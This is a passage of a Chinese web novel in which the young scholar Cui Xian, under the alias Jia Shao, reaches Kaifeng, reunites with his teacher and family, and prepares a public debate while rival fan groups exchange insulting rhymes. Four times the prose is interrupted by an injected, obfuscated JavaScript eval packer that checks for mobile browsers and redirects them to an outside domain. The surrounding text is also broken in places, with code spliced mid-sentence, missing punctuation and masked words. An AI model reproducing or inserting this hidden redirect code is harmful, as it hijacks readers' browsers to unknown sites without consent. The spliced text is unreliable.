废话当然是为了‘装’! 不狠狠装一把这个秀才岂不是白考了! 因此。 迎着周遭激动、崇拜的目光。 庄瑾扬起下巴朗声道:“诸位在下南阳庄瑾。” 高奇一拱手扮起了高冷:“南阳高奇。” 李鹤聿风度翩翩一甩折扇笑的如沐春风:“不曾想我们在外也有些薄名。在下南阳李鹤聿见过诸位师兄。” 裴坚则是做最后的收尾:“昔日种种已成过往不值再提!我等四人今来开封求学只盼和诸位师兄互相切磋携手进步。” 不愧是小神童的兄弟! 南阳四大才子之风姿实在令人敬佩啊! 裴坚四人的话引来一片叫好喝彩。 也引来了一群神情或委屈、或愤懑、或不服、或激动的年轻文人! 太好了! 是小神童的大哥们来了。 我们‘崔岘粉丝’有救了! 于是。 这群读书人急吼吼冲到码头神情气愤的开始‘告状’! 一位读书人看着裴坚眼眶微微发红显然是气的:“裴坚师兄还有三位师兄你们都是小神童的大哥那也是我们的大哥!” “大哥有个叫做贾邵的快要把小神童给踩到泥潭里了!” “你们可一定要为小神童做主保护好他啊!” “那贾邵仗着自己有几分才名甚至公然挑衅小神童实在可恶!” 听到这话裴坚微微一笑:“无碍这世间天才如漫天繁星 “只有强者才会被挑衅不是吗?” “而且恕我直言。我从未听过贾邵这个名字想来此人也不怎么出名。但纵观大梁文坛何人不知崔岘?” 庄瑾 、高奇、李鹤聿跟着云淡风轻点头。 他们四个,在南阳被‘关’了五年,不是忙着在家考试,就是忙着去县衙考试。 国家大事没少了解。 但小道花边新闻,那是一概不知。 尤其是,‘贾邵’出名这段时间,他们四个两耳不闻窗外事,一心只为考秀才。 还真没听过这个名字。 但大家还以为,小神童的大哥,是在为崔岘鸣不平呢! 听听这话说得——从未听过贾邵这个名字。 多霸气! 那告状的读书人顿时激动了,大声道:“对对,大哥你说的对极了!纵观大梁文坛,谁人不知崔岘师兄! “可最近,自洛阳文会,来了一大批贾邵的簇拥!尤其是还有个什么‘反岘联盟’!到处在开封耀武扬威! “他们说,那贾邵已经给崔岘师兄下了战书,但崔岘师兄始终没有回应,而且这么多年了还不露面! “这究竟是王不见王,还是在避贾邵锋芒! “因为崔岘师兄多年不现身,且多年没有作品问世。如今这开封,到处都是贾邵的簇拥者!他们甚至还**起来,整日嘲讽崔岘师兄,和崔岘师兄的簇拥者! “大哥,我们心里苦啊! “这满开封城,到处都是敌人! 一开始。 裴坚四人还云淡风轻的听着。 再后来。 四人:??? 不是,我请问呢? 裴坚彻底绷不住了,其余三位大哥,也装不下去了。 自家兄弟都被贴脸开大了,还装个鸡毛! 干就完了! 于是,方才还非常有风度的裴坚瞬间破功,怒道:“哪里来的上不了台面的假才子,竟然敢骑在真才子头上撒野,岂有此理! 庄瑾黑了脸:“这个什么贾邵,跟崔岘的名字放在一起我都嫌晦气!还避他锋芒?可笑,太可笑了! 高奇一撸袖子:“我说句公道话啊,这纯粹就是山中无老虎,猴子称大王!贾邵?听名字就不像好人呐! 而李鹤聿的关注点,则是在‘反岘联盟’:“你们是说,这开封城里,竟然还有个叫做反岘联盟的垃圾团伙?荒谬! 在无数人傻眼的注视下。 原本风度翩翩的南阳四大才子,转瞬‘黑化’。 他们四人,带领着一帮委屈巴巴的‘崔岘粉丝’,气势汹汹杀进了开封城! 不出短短一两天时间。 全开封城都知道了—— 小神童的四位大哥,已经现身开封,为小神童讨公道来了! 气氛本就紧绷的开封,霎时间被火爆点燃。 同样是七月初。 崔岘的闭关,结束了。 费这么多心思,把人都钩到开封去,可不是单纯表演一出‘掉马’大戏的。 ‘掉马’只是钩子。 掉马当天,站在台上,向整个文坛‘开炮’,才是根本目的。 因此这段闭关的时间,他整理好了初次登台,要辩的内容。 一场‘崔岘’和‘贾邵’的辩经。 一场‘旧’和‘新’的辩经。 一场‘破’和‘立’的辩经。 得知贾邵出关,要赶往开封,赵恒、齐栋梁两位府官亲自来送行。 临行前。 赵恒赞叹道:“先生,你实在是走了一步妙棋啊!虽然你得罪了东南,但陈阁老对你越发赏识,因此压住东南那边,不可来报复你。 “先生你如今准备拿崔岘开刀,太妙了!只要你断掉那崔岘的文坛领袖之路,陈阁老一定会为你保驾护航到底的!东南那边,你无须担心。 啊这。 崔岘神情古怪,未接这个话茬,只是疑惑道:“陈阁老? 陈秉如今赋闲在家,按道理,是不能称‘陈阁老’的。 赵恒笑道:“先生还不知道吧,就在半月前,陛下召陈阁老回京,恩准其重新进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088473|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内阁。 崔岘眼睛里浮现出一抹阴翳,不动声色笑道:“原来如此。 “二位大人,不必再送了,我们,后会有期。 说罢。 崔岘上了马车,而后在齐栋梁、赵恒眼巴巴的注视下,缓缓离开洛阳城。 赵恒喜滋滋道:“下次再见,贾邵先生怕是早就名动天下,身居高位,说不定接了陈阁老的班呢。本官这也算是,提前拜了山门。 齐栋 梁撇撇嘴:“是吗?我看未必。” 赵恒大怒:“你个狗嘴里吐不出**的东西,若非你厚着脸皮贴上来,怎么能抱上贾邵先生这条大腿?” 齐栋梁翻了个白眼。 且不提两位再次‘打起来’的洛阳府官。 两日后。 临近晌午。 夏风燥热,挟着黄河水汽特有的土腥味,拂过开封府巍峨的南薰门。 崔岘坐在马车里,挑开一道窗帘缝隙,抬头看去。 城楼高耸,青砖斑驳,堞口上‘开封’二字,在阳光下泛着厚重的光泽。 南薰门大开着,人流车马如织,喧嚣声浪已扑面而来。 等进了城,喧嚣骤然放大数倍。 御街格外宽阔,青石板路被无数车辙、脚印磨得光润。 两侧店铺鳞次栉比,幌子高挑。 一家酒楼外,伙计正用长柄木勺从酒瓮里舀出新酿的酒水,浓郁的酒香混着蒸腾的热气,引得几个脚夫围在门口,就着粗碗豪饮。 除此之外,匹帛铺、香铺、茶馆……放眼望去,尽是市井繁华。 马车在御街缓缓前行。 路边,挑着担子卖时令鲜果的老农,嗓门洪亮。 扛着草靶子插满糖葫芦、吹糖人的艺人,吸引着一群眼巴巴的孩童。 代写书信的穷书生,伏在简陋的条案上,为一老妪斟酌词句。 头戴方巾的读书人、裹着包头的商贾、短衣褐衫的力夫、荆钗布裙的妇人、嬉笑追逐的童子……各色人等一一在马车窗外短暂出现,而后飞速**。 这一切,如同一幅浓墨重彩、充满烟火气的《清明上河图》长卷,在崔岘面前徐徐展开。 而这里,便是八省通衢、中原首邑、千年古都、巍巍汴梁—— 开封。 自来到这个世界后,崔岘在南阳扬名,走过孟津、路过洛阳,今日终于来到了这座中原最宏伟繁华的雄城。 他要在这座城里,点燃新的思想火种,掀起一场质疑经学,叩问圣心本源的文坛风暴。 换句话说,这是他的‘证道’之地。 所以,他一眼便喜欢上了这座城。 想来开封见他,也是如此。 然而下一刻。 便见马车外,有两拨读书人,正在一家茶楼里‘互喷’。 一拨人叫嚣:“崔岘?早已江郎才尽!” 另一拨人回击:“贾邵?沽名钓誉之徒!” 崔岘(贾邵):? 那我走? ? 183、早已开始燃烧的星火(上) 崔岘要来开封办大事儿。 所以走是不可能走的。 无视茶楼里因为自己而打成一团的两拨‘粉丝’马车沿着御街一路驶进开封府城。 中途路过州桥集市。 崔岘还让车夫帮忙去买了一小坛冰镇酸梅浆一只荷香叫花鸡一份水晶藕鲊一份冰碗烩三鲜。 买完吃食后马车七拐八拐进了一条民巷。 仆从老罗自清晨起就不停走出院落殷切站在门口向外张望。 东莱先生老神在道坐在正堂摇椅上一边给自己扇风一边嘲笑老罗:“人该到的时候自然就会到的瞧你那个不值钱的样子。” 老罗没有理会这话只是惊喜道:“小公子来了!” 堂屋。 东莱先生‘嗖’的一下起身急吼吼冲出院门可巷子外空空如也 仆从老罗神情微妙的看着‘不值钱的’老爷。 东莱先生闹了个脸红气呼呼转身往院子里走嘴里絮叨道:“世风日下人心不古啊!刁仆欺主实在可恶!” 他正抱怨着呢。 却听背后老罗再次惊喜道:“小公子您来了?几个月不见您清瘦了很多但瞧着人也精神了许多!” 岂有此理! 骗老夫一次就算了还想来第二次! 正当东莱先生准备生气的时候。 一道带着笑意的熟悉声音从小院外传进来:“是谁欺负老师了?弟子帮您教训他。” 东莱先生微微一愣。 他着急忙慌转身看向门口清瘦许多的小弟子咧开嘴笑道:“我跟老罗开玩笑呢。” “平安到了就好平安到了就好啊!快快进屋外面热莫要晒着。” 师徒二人五年多相处这还是头一次分别数月。 东莱先生嘴里说着‘让自家小雏鹰出去飞一飞’。 可心里也是会惦记担心的啊! 崔岘笑着走进来先整理好衣衫郑重给老师作揖礼。 ‘读万卷书’和‘行**路’的区别如今就能明显看出来。 相比于在南阳的时候此刻的崔岘瞧着精气神格外饱满。 虽因赶路而略显风尘仆仆但眼睛亮亮的周身是愈发自信肆意的神采气度。 显然。 这次‘说走就走的旅行’他认识了很多人也经历了一些事儿。 学识的积累需要在南阳那方小院里整整五年沉淀汲取。 但心境不一样。 走出去便能得以成长。 东莱先生站在原地受了徒弟一礼满脸欣慰。 等看到崔岘拎着各种吃食进了正堂他更是笑的合不拢嘴:“还是有徒弟好啊知道惦记着老师。” “老罗做饭实在难吃天又热我最近都消瘦了很多。” 听闻这话的老罗:? 要不您先看看自己那张红光满面的圆脸呢老爷? 跟消瘦搭边吗? 但碍于小公子在场仆从老罗到底是默默忍住了。 正堂餐桌上。 除了老罗精心准备的饭菜又添了几样崔岘买的吃食一张桌子都快被摆满了。 尤其是那道荷叶叫花鸡在童子鸡腹塞香菇、笋丁裹新鲜荷叶糊泥烤制。 拍开泥壳后鸡肉香、荷叶清甜香霎时散开闻着便令人食欲大振。 再配上一碗冰镇酸梅浆。 那惬意滋味儿绝了! 师徒二人将老罗强行拉上桌三人一起舒坦开吃。 饭后。 老罗去收拾碗筷给二人留出谈话的空间。 东莱先生靠在躺椅里笑着说道:“本来为师只想着让你出门历练一番。换个身份一是安全二是也能探探对手的虚实。” “结果还是低估了你的优秀程度从孟津祥瑞、到救下萧震干的事儿一件比一件厉害。” “甚至还跟圣上有了书信往来。” “莫说为师怕是你师祖听说你干的事儿以后都得偷偷傻乐许久。” 崔岘闻言也跟着笑:“都是老师教得好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088474|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啧。 这话东莱先生可不敢苟同。 因为这普天之下没有谁比他更了解自家小徒弟的恐怖天资了。 但也正因为天资太恐怖小徒弟即将要做的事情就是东莱先生 都得打起十二万分的警惕心,来为其保驾护航。 想到这里,东莱先生神情严肃了许多,问道:“牡丹文会结束后,你在洛阳短暂闭关了一段时间。” “如何,捋清楚思路了吗?” 崔岘迟疑片刻,点点头:“有些思路了,但并不完整。弟子需要无数场辩经,思想碰撞,去做论证。需要实践,需要反复检验,最终才能将其锤炼出来。” 东莱先生闻言,怔怔看着自己年轻的小徒弟,满心震撼。 14岁! 他才14岁啊! 别的少年,或许还在苦苦求学、逐梦科举。 但崔岘,已经计划着‘开宗立派’了! 这五年多以来,东莱先生在南阳崔宅院子里,跟小徒弟进行了成百数千场辩论。 作为崔岘的老师,他自然知晓小徒弟的想法和计划。 这真的很疯狂,也很大胆。 在一个儒家经学正统、掌控话语权的王朝,质疑经学,推行新的思想、学派……甚至比得罪东南豪强,都要恐怖无数倍。 但,作为老师,东莱先生一句劝阻的话都没有说。 历史的车轮,总是需要‘巨人’来推进。 人类的进步,本质就离不开每一次划时代的‘思想革新’。 尽管这样做,会引来重重危机,无数劫难。 可—— 危机与劫难,同样也是新思想诞生必须要经历的‘淬炼’啊! 东莱先生看向崔岘,用玩笑般的语气咧开嘴笑道:“你说,多年后,史书工笔上,后人评价我东莱,会不会嗤之以鼻,不屑嘲讽?” “这个东边来的先生,什么水平,也配给圣人做老师?” ? 185、自开封即将崛起的河南崔氏 当学堂里的小蒙童们,正在惊喜大口吃肉包的时候。 给他们送肉包奖励的崔夫子,和老师东莱先生道别。 而后乘坐马车,赶往开封府城东南隅,状元巷。 途中,马车路过大相国寺。 时间虽已临近傍晚,但寺外仍旧能瞧见许多贩卖佛经、香烛的摊贩。 距离大相国寺和状元巷不远,是开封府学、和贡院。 状元巷后方,挨着汴河支流。靠近了,隐约还能听到漕船卸货的号子声。 七月夏日傍晚,霞光满天。 状元巷中一处三进大宅外。 老崔氏抱着小孙女崔璎,祖孙二人同款表情,眼巴巴朝着巷子口张望。 怎地还没到呢! 莫不是路上出意外啦? 正当老崔氏胡思乱想的时候,马蹄声由远及近传来。接着,一辆马车出现在巷子里。 老崔氏和崔璎眼睛齐齐亮起来。 当时崔岘离家后,小崔璎因为阿兄不告而别,暗自生了好几天的闷气。 可现在时间过去这么久,她早就忘记啦。 等马车在宅院外停下,瞧见崔岘拿着两串糖葫芦下了马车。 崔璎赶忙从祖母怀中挣脱,激动小跑着扑了过去:“阿兄!” 崔岘顺势弯腰,一把将其揽在怀里,而后笑着把糖葫芦递过去:“阿兄不在家的这段时间,你有没有乖乖听话啊?” 崔璎迫不及待咬了一口糖葫芦,鼓着嘴巴含糊不清道:“听、听话的!” 崔岘听完,捏了捏阿妹的笑脸,朝老崔氏笑着打招呼:“祖母。” 老崔氏‘哎’了一声,上前拉着孙儿的手:“总算是来了。这几天你娘总说,岘哥儿没来,一家子在开封待着,总觉得空落。” “如今你来了,咱一家子团聚,这就圆满咯!” “走,咱进家门。你爹娘他们,都惦记着你呢。” 老崔氏说着,拉起岘哥儿的手,风风火火进了家门。 崔岘听得熨帖又舒心。 祖母不愧是一家之主,事情办的井井有条。全家集体从南阳,搬到开封,这么快就安顿好了一切。 因此从下马车的那一刻,他整个人都安定了下 来。 漂泊在外的游子,总是会有三分孤独在的。 到家后,一颗心都跟着软和了。 前院。 几个仆从正在整理花架,瞧见崔岘进来,急忙喜滋滋过来问候:“小少爷回来了! 这一嗓子,霎时让整个宅院都活了过来。 崔仲渊、陈氏,崔伯山、林氏,崔钰、崔璇一大家子人,呼啦啦都围过来嘘寒问暖。 陈氏看了一眼风尘仆仆的儿子,笑道:“瘦了,但瞧着也越发精神了。 崔仲渊则是把崔璎抱过来,说道:“热水早就给你备好了,你快去洗漱,都等着你吃团圆饭呢。 “好。 崔岘应了一声,先是走过去,跟兄长崔钰默契碰了碰拳。 而后笑着看向林氏:“这几个月出门在外,不知怎地,总惦记着大伯母炒的腊肉。 林氏弯腰直乐:“那还不简单,岘哥儿想吃,大伯母马上去给你做。 老崔氏又交代道:“记得再给岘哥儿煮碗面,出门这么久,到家里第一顿饭,就是得吃碗热乎面哩。 等崔岘洗漱好,换完衣衫出来。 天已经黑了。 宅子里点着灯笼,照的院子里格外亮堂。 夜空中繁星点点。 按照老崔氏的意思,一家子把餐桌搬到院子里,桌子上摆满了各种吃食、瓜果。 最中间位置,是一大盆油汪汪的炒腊肉。 崔岘走过去坐下,笑眯眯问道:“这盆腊肉是可以吃的吧?确定不是只让闻闻味儿,而后再端回去。 饭桌前一家子人都跟着哄笑出声。 老崔氏闹了个脸红,而后也跟着直乐:“吃吃吃,都吃!哎呦现在想想,自己都觉得好笑。 “就那么一块腊肉,真是不值当,不值当啊! 崔伯山挠了挠头,赧然道:“提起这个,我跟二弟都一直没敢跟娘你说。 “那年,吃完那盆水芹炒腊肉,我跟二弟去考试,从后半夜就开始闹肚子。一直到考场上,还不停往茅房跑。 “当时穷啊,肚子里没油水。突然吃顿好的,实在遭不住。 崔仲渊跟着连连点头,深表赞同。 结果却见老崔氏、林氏、陈氏等人表情都有点不自在。 崔伯山见状愣住了而后反应过来试探性问道:“你们那次吃完腊肉也全都闹肚子了?” 老崔氏没绷住第一个‘噗嗤’笑出声。 林氏、陈氏几人也笑的前仰后合。 真是绝了。 这都是些什么事儿啊! 唯有小崔璎神情疑惑不知一家人在笑什么。 夏夜凉风****。 崔岘笑眯眯坐在餐桌前 在家里他不必想着跟皇帝玩心眼不必想着高台辩经不必想着东南隐患不必想着接下来将会引来多少文坛士林的恶意与霸凌。 这便是家的意义啊! 可惜。 他想短暂的歇一歇奈何祖母是个‘工作狂’! 饭后。 趁着一家人都在老崔氏眼神期待的看向崔岘:“岘哥儿如今祖母把开封的邸报开了起来。镖局也已经初步规划好马上就能试着开业。” “后日你就要登台辩经了那咱们还能做点啥生意呢?” 听到这话一家人都看向崔岘。 崔岘笑道:“孙儿刚到开封还没来得及去市场上看看。等后日登台结束咱们一起去做个‘市场调研’。” 老崔氏连连点头:“对对就该这样!岘哥儿你不是说了吗得罪了东南那边的人。祖母想着咱们得早做准备!” 提起这个。 崔岘沉默片刻略显尴尬的说道:“祖母其实……不止东南。后日辩经结束怕是满世界都会被孙儿给得罪遍了。” 啊? 一家人都被唬了一跳。 陈氏纳闷道:“就一场辩经而已怎地会得罪那般多人?” 崔岘思忖着用最简单的方式解释道:“因为儿子要做的事情是修改四书五经等书籍告诉整个大梁他们以前读的书是错的想法是错的遵循的圣心本源也是错的。” 整个院子霎时陷入安静。 如今崔家人个个都开了蒙不再是曾经的‘文盲’。 他们听懂了崔岘即将要做的事情有多可怕。 但只是安 静片刻。 陈氏便嘀咕道:“那,那四书五经也不见得全然都是对的。岘哥儿你帮他们指正错误,他们还要针对你,当真不识好歹! 崔仲渊默默拍了拍儿子的肩膀,以示支持。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088475|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >老崔氏则是试探性问道:“以岘哥儿你的性格,既意识到了事情的严重性,必然也早就想好了解决办法,对吧? “有些事情,你想做,那就大胆去做。但你得跟祖母说,祖母要怎么带着咱一家子人帮衬你。 崔钰在旁边补充道:“不仅帮衬阿弟,也是帮衬咱们自己。就像当初斗赵志那样,咱们一家子,一荣俱荣,一损俱损。 是这个道理! 迎着一家人的目光。 崔岘道:“阿兄说的对,现在的情况,跟当初斗赵志,没什么两样。只是敌人更加强大了。 老崔氏霸气一挥手,十分自信:“那咱家也不是当初的崔家了,咱们也强大了嘞! 崔岘点点头,表示赞同。 在全家人振奋、激动的注视下,他笑的格外绚烂:“辩经台上,打的是学识,是四书五经,是思想本源。 “这是一场由我,单方面挑起来的思想变革。 “但单纯只变革思想,不发展本身实力,是行不通的。所以,本次斗争,不仅在辩经台上,也在辩经台下。 “我还要从衣食住行入手,掀起一场轻工业变革。 “不管是吃的、喝的,用的,穿的,市面上一切流通的,都要有咱家的商品。汴河漕运上往来的,是咱家自开封输送到大梁各地的货船。 “咱们家,要招工,招成百数千的工人!要修建自己的祠堂,族学!要资助穷苦的士子读书人!要打通各行各业的产业经济链条,要掌握经济话语权。 “我,阿兄,父亲,大伯,要继续走科举,去朝堂,掌握**话语权。 “我们要发展成河南崔氏,乃至大梁崔氏,要在思想的火种外面,包裹着最俗气但是最管用的银子! “当然这些还太遥远,我们暂且只定个小目标,等我们发展成为河南崔氏那一日,这开封城,一切反对的叫嚣声,都会自然而然变得礼貌乖巧。 “所以—— 说到这里。 崔岘看向老崔氏,看向全家每一 个人:“就如当年斗赵志那般,咱们家,又要再次打一场硬仗!” “只是不同于那次咱们毫无准备,这一次,我们为此准备了五年!” “也是时候,让开封,让整个河南,看一看咱们崔氏一族的风采了!” 夏夜的院子里。 荧荧灯火下。 崔岘那张灿然自信的脸,被灯火照映的微微泛红。 明明他声音不大,但一番话说完,一大家子人都有种热血沸腾起来的感觉。 河南崔氏! 以前总是嘴上说,要发展成‘河南崔氏’,可等真正规划着,开始朝着这一步迈进的时候,仍旧觉得激动不已。 这就是岘哥儿啊! 他身上有着极强的信念感,和感染力,成为崔家的精神支柱,带着一家人往前冲! 本来还因为,自南阳搬来开封,背井离乡显得忐忑不安的崔家人,顿时不忐忑了! 正如当年一家人咬牙拧成一股绳,要斗倒赵志,为崔家搏个锦绣未来那般。 如今哪怕即将群敌环伺,也抵不住一家人齐心协力、势要发展起来的野心和斗志! 第二次全家总动员,再次启动! 老崔氏一拍大腿,激动的脸色发红,但说出来的话,却格外辛辣霸道:“谁敢阻挡崔氏一族发展,老婆子我,第一个不放过他!” 崔氏,终将崛起! 186、是崔岘,是贾邵,是最耀眼的他(上) 有了崔岘的‘鸡血式动员’,整个崔家,都进入一级备战状态。 当夜。 老崔氏拉着两个儿媳、大孙女崔璇,开了个‘紧急会议’。 经过协商后,众人决定—— 既然岘哥儿要做的事情,可能会得罪许多人。 那就趁着辩经还没开始,先让整个开封,重新回忆一番岘哥儿的风采吧。 你不能因为我家岘哥儿五年没露面,就遗忘了他,或者小觑了他啊。 大梁第一神童的光芒,永远不会熄灭! 次日。 崔家在开封府的《汴梁邸报》,正式发力! 老崔氏鸡贼的很。 她找到东莱先生协商,把崔岘抵达开封,准备登台辩经的消息,通过《汴梁邸报》来进行‘首发’。 不得不说,这招非常管用。 如今整个开封府,都处于一种躁动状态,无数人都眼巴巴等着崔岘露面呢。 茶楼里、酒馆里,大量读书人、乃至市井百姓,都在讨论这场空前热闹的辩经盛事。 当日午后。 十几个壮汉,拉着整车的邸报,顶着烈日,在开封府大街小巷穿梭。 而他们的叫卖声,如石破天惊般,迅速在开封府城里引发剧烈震动! “卖邸报,卖邸报!《汴梁邸报》今日头版头条,小神童崔岘已抵达开封,准备登台辨经! 哗! 就这么一嗓子,让无数人都激动了。 御街。 一家茶楼里。 裴坚四人,正在跟‘反岘联盟’的人互喷。 双方骂的口水四溢,战况非常焦灼。 楼下卖邸报的声音传进来,犹如按下暂停键,让整间茶楼都静默下来。 裴坚懵了片刻,随后大喜:“岘弟来开封了?太好了,那个什么庸才贾邵,他马上就要完蛋了! 对面。 严思远也懵了,而后冷笑道:“完蛋的还不一定是谁呢! 可骂归骂。 不管是裴坚,还是严思远,两拨读书人都默契的、争先恐后推开窗—— “给我来一份邸报! 不仅这家茶楼。 读书人哄抢邸报的画面于开封府各处激情上演。 由于抢邸报的人实在太多裴坚费了好大力气才买到了一份。 庄瑾、高奇、李鹤聿三人伸着脖子迫不及待阅览。 结果单是这邸报头版头条便让四位兄弟眼睛齐齐亮起来。 【小神童崔岘已抵达开封计划在七月初八于开封府学外登台辨经应战五年之约!】 七月初八? 那不就是明日! 等看完头版内容再去看副版四位兄弟那可真是眼睛一亮又一亮! 因为副版的标题是—— 【你可能不认识他但你一定听过他的作品!】 其中列举了崔岘的诗 还有《今夫天》、《武王缵太王、王季、文王之绪》两篇堪称教科书级别的八股文! 每一个作品都是经典! 是‘大梁第一神童崔岘’身上耀眼光芒的一部分! 莫说裴坚四人看的激动。 茶楼里小神童崔岘的‘粉丝’们更是发出震天欢呼激动到脸色发红、眼眶湿润。 “听过的每一个作品我都听过的!” “崔师兄当真乃我辈读书人之楷模大梁文坛的骄傲!” “五年了整整消失了五年他终于要露面了!” “就这两篇八股文足以流芳百世!纵观整个大梁哪个读书人没有瞻仰学习过这两篇文章?听说国子监这两篇文章的碑文下日日都有学子流连观摩!还有学子自称是崔师兄的弟子!” “为百姓苍生写诗篇为传道授业写文章!崔师兄这般性情高洁之人岂容你们来诋毁?” “贾邵凭什么和崔师兄相提并论!” 这份《汴梁邸报》让崔岘‘粉丝’们振奋不已。 而严思远、齐怀明、阮修德等反岘同盟的小黑粉们则是气的几欲吐血。 他们感受到了这家邸报深深的恶意! 在洛阳的时候《东都花讯》除了第一期后来刊登的内容都恨不得把贾邵夸成一朵牡丹花。 到开封后却完全变了! 变成了崔岘的一言堂。 万恶的**神童,党争作秀的虚伪小人! 等着吧! 绝世大才子贾邵先生,一定会戳穿你的真面目! 齐怀明想到了贾邵,这才心情舒畅很多。 也正是这个时候,他看到《汴梁邸报》最下方,一个不起眼的小版块,写着这样一句话: 七月初八,贾邵将和崔岘同台辩论。 好家伙,给崔岘着墨那么多,轮到我们贾邵先生,就只有一行字?! 真是演都不演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088476|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了是吧! 这时候,陆续有反岘同盟的人,发现了这个小版块。 虽然被这般明目张胆的欺负,让大家非常生气。 但至少,贾邵先生到了,这是好事儿! “贾邵先生要跟崔岘同台辩经?哈哈哈哈,这一天终于来了!” “崔岘肯定要完蛋!” “贾邵先生之学识,之风采,整个洛阳文会数千读书人都得以亲自见证!” “且看萧震将军,和抗倭的八千士兵们,你们就该懂得,贾邵先生担得起绝世才子之名!” 双方怒目而视,谁都不服谁。 但此刻已经多说无益,毕竟孰强孰弱,明日便能见真章! 裴坚冷笑一声,带着一群人率先离开。 严思远、齐怀明等小黑粉们,看着裴坚等人离开的得意背影,再看看手中全是崔岘作品集的《汴梁邸报》,越想越气。 气得蛋疼! 凭什么,凭什么我们贾邵先生,要受到这种羞辱! 太欺负人了! “诸位同窗,我们必须要保护贾邵先生!为贾邵先生而战!” 严思远大声道:“我们要集结洛阳文会来的同窗师兄们,为贾邵师兄助威!还有,既然崔岘这般仗势欺人,那咱们也不必客气了!我们要反击,狠狠的反击回去!” 这个年代,读书人们‘喷脏话’的方式相当纯粹,那就是—— 编撰童谣。 经由严思远提倡,齐怀明、阮修德附和,一大帮反岘同盟小黑粉协同,最后一首攻击崔岘的《岘儿谣》新鲜出炉。 崔家岘,纸上燕, 三寸舌,吹破天! 不如负笈归南阳, 莫教狂言污圣贤! 小黑粉们将这份《岘儿谣》誊抄,而后在士子读书人群体当中疯狂传播。 这玩意儿通俗易懂,传播速度比诗词歌赋快多了。 没多久,贾邵粉丝们便把这首童谣,传的到处都是。 战斗从这里,一下子就升级了! 裴坚、李鹤聿、庄瑾、高奇四人听说以后,气的脸色发青。 岂有此理! 但编童谣这事儿,可难不倒裴坚啊。 他忍住怒意,当场执笔挥墨,写下了一首《邵公叹》。 贾家邵,坟头草, 蛀经籍,蚀圣道! 他日曝尸文庙外, 乌鸦啄目犬食脑! 187、是崔岘,是贾邵,是最耀眼的他(中) 这首《邵公叹》一出,庄瑾三人都直抽冷气。 太狠了吧! 高奇佩服到五体投地,赞叹道:“不愧是你啊,裴坚!” 李鹤聿直咂舌:“你说贾邵那群簇拥者,惹谁不好,专门惹你这个煞星。” 裴坚冷笑一声,满脸杀气:“欺负我就算了,但敢欺负我小弟,老子骂不死他!岘弟估计还不知道咱们来了开封,等明日见面,看到我这首大作,他肯定夸我写得好!” “总之,谁都别想来欺负我小弟!” 因为那首《岘儿谣》,崔岘粉丝们正气的咬牙切齿呢。 结果好家伙,裴坚一首《邵公叹》,杀伤力堪称摧枯拉朽。 凭借这首诗,裴坚一战成名。 这辛辣之用词,谁看了不胆寒? 于是,继《岘儿谣》之后,《邵公叹》也迅速跟着流传! 在开台辩经的前一天,崔岘和贾邵的粉丝,彻底‘打’了个昏天黑地! 但目前,粉丝打架一事,还没有彻底被大众知晓。 整个开封,还在因为崔岘兑现五年之约,因为贾邵崔岘同台辩经,而陷入躁动呢。 开封城门处。 苏祈、周斐然、孟绅、何旭四人结伴进入开封城。 刚一进城,便瞧见有读书人手持《汴梁邸报》激动朗诵崔岘的作品集。 周斐然听了一会儿,感慨道:“崔岘写下《武王缵太王、王季、文王之绪》这篇八股文的时候,才九岁吧?真是厉害。” 苏祈在旁边扬了扬眉,颇为得意的说道:“这等神作,岂是一句厉害可以评价的?” 此话一出。 周斐然三人齐齐看向他,目光怪异。 何旭更是谴责般说道:“苏祈师兄,我等与贾邵师兄是朋友。你怎地支持崔岘师兄呢?” 苏祈脸色一僵。 那家崔岘曾经去过的学堂。 中年夫子拿着一份邸报,急匆匆进来,咧开嘴笑道:“一个好消息,崔夫子已经抵达开封,且计划于明日登台辩经。” 哇! 本来安静的课堂,霎时一片激动嚎叫。 小豆丁们激动极了:“我们要去给崔夫子助威!” 中年夫子笑道:“好为师带你们一起过去。” 市井里。 数位读书人拿着一份邸报正在激动念着上面‘你一定听过他的作品’的标题名字。 